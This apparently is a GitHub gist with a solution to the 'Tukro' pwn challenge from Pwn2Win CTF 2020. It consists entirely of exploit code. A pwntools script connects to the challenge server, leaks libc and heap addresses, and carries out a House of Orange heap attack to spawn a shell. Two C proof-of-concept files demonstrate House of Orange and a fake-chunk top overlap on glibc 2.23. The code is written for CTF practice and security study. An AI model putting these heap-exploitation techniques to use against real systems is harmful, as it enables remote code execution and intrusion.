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May 31, 2020 16:40
Tukro challenge - Pwn2Win CTF 2020 (w/@javierprtd & @id10t_ctf)
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#!/usr/bin/env python | |
from pwn import * | |
context.terminal = ['tmux', 'sp', '-h'] | |
#context.log_level = 'DEBUG' | |
elf = ELF("./tukro") | |
libc = ELF("./libc.so.6", checksec = False) | |
LOCAL = False | |
def sign_up(user, passwd): | |
io.recvuntil("choice: ") | |
io.sendline("1") | |
io.recvuntil("Username: ") | |
io.sendline(user) | |
io.recvuntil("Password: ") | |
io.send(passwd) | |
def sign_in(user, passwd): | |
io.recvuntil("choice: ") | |
io.sendline("2") | |
io.recvuntil("Username: ") | |
io.sendline(user) | |
io.recvuntil("Password: ") | |
io.send(passwd) | |
def write_test(recpt, data): | |
io.recvuntil("choice: ") | |
io.sendline("1") | |
io.recvuntil("Username: ") | |
io.sendline(recpt) | |
io.recvuntil("Testimonial: ") | |
io.send(data) | |
def my_tests(): | |
io.recvuntil("choice: ") | |
io.sendline("2") | |
def tests_to(idx = -1, data = ""): | |
io.recvuntil("choice: ") | |
io.sendline("3") | |
recv_data = io.recvuntil("\nEdit") | |
io.recvuntil("(y/N): ") | |
if idx == -1: | |
io.sendline("N") | |
else: | |
io.sendline("Y") | |
io.recvuntil("Number: ") | |
io.sendline(str(idx)) | |
io.recvuntil("Testimonial: ") | |
io.sendline(data) | |
return recv_data | |
def del_test(idx): | |
io.recvuntil("choice: ") | |
io.sendline("4") | |
io.recvuntil("Number: ") | |
io.sendline(str(idx)) | |
def logout(): | |
io.recvuntil("choice: ") | |
io.sendline("5") | |
if LOCAL == True: | |
io = process(elf.path) | |
else: | |
io = remote("tukro.pwn2.win", 1337) | |
sign_up("userA", "passwd") | |
sign_up("userB", "passwd") | |
sign_in("userB", "passwd") | |
write_test("userA", "AAAA") | |
write_test("userA", "AAAA") | |
write_test("userA", "AAAA") | |
write_test("userA", "AAAA") | |
write_test("userA", "AAAA") | |
write_test("userA", "AAAA") | |
write_test("userA", "\x00" * 0x2f0 + p64(0x510) + p64(0x510)) | |
logout() | |
sign_in("userA", "passwd") | |
del_test(3) | |
del_test(1) | |
logout() | |
sign_in("userB", "passwd") | |
recv_leak = tests_to() | |
leaked_arena = u64(recv_leak.split("Testimonial 7: \n")[1].split("\n")[0].ljust(8, "\x00")) | |
leaked_heap = u64(recv_leak.split("Testimonial 6: \n")[1].split("\n")[0].ljust(8, "\x00")) | |
libc.address = leaked_arena - 0x3c4b78 | |
heap_base = leaked_heap - 0xa20 | |
log.success("Leaked GLIBC arena address: " + hex(leaked_arena)) | |
log.success("Leaked heap address: " + hex(leaked_heap)) | |
log.info("GLIBC base address: " + hex(libc.address)) | |
log.info("Heap base address: " + hex(heap_base)) | |
write_test("userA", "AAAA") | |
write_test("userA", "AAAA") | |
logout() | |
sign_in("userA", "passwd") | |
del_test(5) | |
del_test(6) | |
del_test(3) | |
del_test(4) | |
logout() | |
fake_chunk = "" | |
fake_chunk += p64(0x0) + p64(0x511) | |
fake_chunk += p64(heap_base) + p64(heap_base + 0xa20) | |
sign_in("userB", "passwd") | |
tests_to(3, "\x00" * 0x2f0 + fake_chunk) | |
tests_to(6, p64(libc.address + 0x3c4b78) + p64(heap_base + 0x1c50)) | |
tests_to(4, p64(heap_base + 0x1c50) + p64(libc.address + 0x3c4b78)) | |
write_test("userA", "AAAA") | |
write_test("userA", "AAAA") | |
write_test("userA", "AAAA") | |
tests_to(5, "\x00" * 0x208 + p64(0x1a1)) | |
write_test("userA", "AAAA") | |
fake_top = "" | |
fake_top += "/bin/sh".ljust(8, "\x00") + p64(0x61) | |
fake_top += p64(libc.address + 0x3c4b78) + p64(libc.symbols['_IO_list_all'] - 0x10) | |
fake_top += p64(2) + p64(3) | |
fake_top += p64(0) * 9 + p64(libc.address + 0xf1147) # One gadget | |
fake_top += p64(0) * 11 + p64(heap_base + 0x1ec0) | |
tests_to(5, "\x00" * 0x200 + fake_top) | |
write_test("userA", "AAAA") | |
io.interactive() | |
io.close() |
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/* House of orange POC by soez(@javierprtd). GLIBC 2.23 and ASLR disabled. */ | |
/* Based on https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c */ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
int main(int argc, char *argv[]) { | |
unsigned long *p0, *top; | |
unsigned long io_list_all = 0x7ffff7dd2520; // _IO_list_all | |
unsigned long system = 0x7ffff7a52390; | |
unsigned long *jump_table; | |
malloc(0x500); | |
malloc(0x500); | |
malloc(0x500); | |
malloc(0x500); | |
malloc(0x500); | |
p0 = malloc(0x500); | |
top = p0 + 0x500 / 0x8; | |
top[1] = 0x1a1; // top size | |
malloc(0x500); | |
memcpy(top, "/bin/sh\x00", 8); | |
top[1] = 0x61; // Size | |
top[3] = io_list_all - 0x10; // top->bk (unsorted bin attack) | |
top[4] = 0x2; top[5] = 0x3; top[24] = 0; // fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base | |
jump_table = &top[12]; // Controlled memory | |
jump_table[3] = system; | |
*(top + (sizeof(FILE) / 8)) = jump_table; // top + 0xd8 (index 27) | |
malloc(0x500); // Shell :-) | |
return 0; | |
} |
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/* Overlap top chunk using a fake chunk and unsorted bin. GLIBC 2.23 */ | |
#include <stdio.h> | |
#include <stdlib.h> | |
int main(int argc, char *argv[]) { | |
unsigned long long *p0, *p1, *p2, *p3; | |
unsigned long long *fake_chunk; | |
p0 = malloc(0x500); | |
malloc(0x500); | |
p1 = malloc(0x500); | |
malloc(0x500); | |
p2 = malloc(0x500); | |
p3 = malloc(0x500); | |
free(p0); | |
free(p1); | |
free(p2); | |
/* Fake chunk */ | |
p3[0x208 / 8] = 0x510; | |
p3[0x210 / 8] = p1[0]; | |
p3[0x218 / 8] = p1[1]; | |
p3[(0x200 + 0x510) / 8] = 0x510; | |
p3[(0x208 + 0x510) / 8] = 0x510; | |
/* Link fake chunk to unsorted bin */ | |
p0[1] = (unsigned long long)&p3[0x200 / 8]; | |
p2[0] = (unsigned long long)&p3[0x200 / 8]; | |
malloc(0x500); | |
fake_chunk = malloc(0x500); | |
printf("[*] Fake chunk address after linking it: %p\n", fake_chunk); | |
return 0; | |
} |
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